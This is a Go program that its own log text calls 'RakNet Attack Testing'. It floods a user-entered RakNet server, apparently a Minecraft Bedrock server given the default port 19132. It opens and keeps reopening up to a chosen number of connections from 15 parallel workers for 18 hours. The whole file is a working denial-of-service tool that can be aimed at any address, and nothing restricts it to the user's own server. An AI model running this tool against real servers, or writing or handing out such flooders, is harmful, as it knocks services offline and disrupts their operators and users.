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main.go
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main.go
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package main
import (
"bufio"
"github.com/sandertv/go-raknet"
"github.com/sirupsen/logrus"
"os"
"strconv"
"strings"
"sync"
"time"
)
var mu sync.Mutex
var connId = 0
var connections = map[int]*raknet.Conn{}
var log = logrus.New()
var target string
var maxConn = 1
func main() {
log.Formatter = &logrus.TextFormatter{ForceColors: true}
log.Infoln("RakNet Attack Testing")
reader := bufio.NewReader(os.Stdin)
log.Infof("Enter Server IP: ")
target, _ = reader.ReadString('\n')
target = strings.ReplaceAll(target, "\r", "")
target = strings.ReplaceAll(target, "\n", "")
if len(strings.Split(target, ":")) == 1 {
target += ":19132"
}
log.Infof("Enter Max Connections: ")
maxStr, _ := reader.ReadString('\n')
maxStr = strings.ReplaceAll(maxStr, "\r", "")
maxStr = strings.ReplaceAll(maxStr, "\n", "")
maxInt, err := strconv.Atoi(maxStr)
if err != nil {
log.Fatal(err)
}
maxConn = maxInt
for i := 0; i < 15; i++ {
i := i
go func() {
for {
err := createConn(i)
if err != nil {
log.Error(err)
continue
}
}
}()
}
time.Sleep(time.Hour * 18)
}
func createConn(t int) error {
for len(connections) >= maxConn {
time.Sleep(time.Second * 5)
}
log.Infof("[%d] Creating connection to %s...", t, target)
conn, err := raknet.Dial(target)
if err != nil {
return err
}
mu.Lock()
connId++
cId := connId
connections[cId] = conn
log.Infof("[%d] Created connection %s [%d]", t, conn.RemoteAddr(), len(connections))
mu.Unlock()
go func() {
for {
_, err := conn.ReadPacket()
if err != nil {
log.Error(err)
_ = conn.Close()
mu.Lock()
delete(connections, cId)
log.Infof("Closed %s", conn.RemoteAddr())
mu.Unlock()
return
}
time.Sleep(time.Millisecond * 100)
}
}()
return nil
}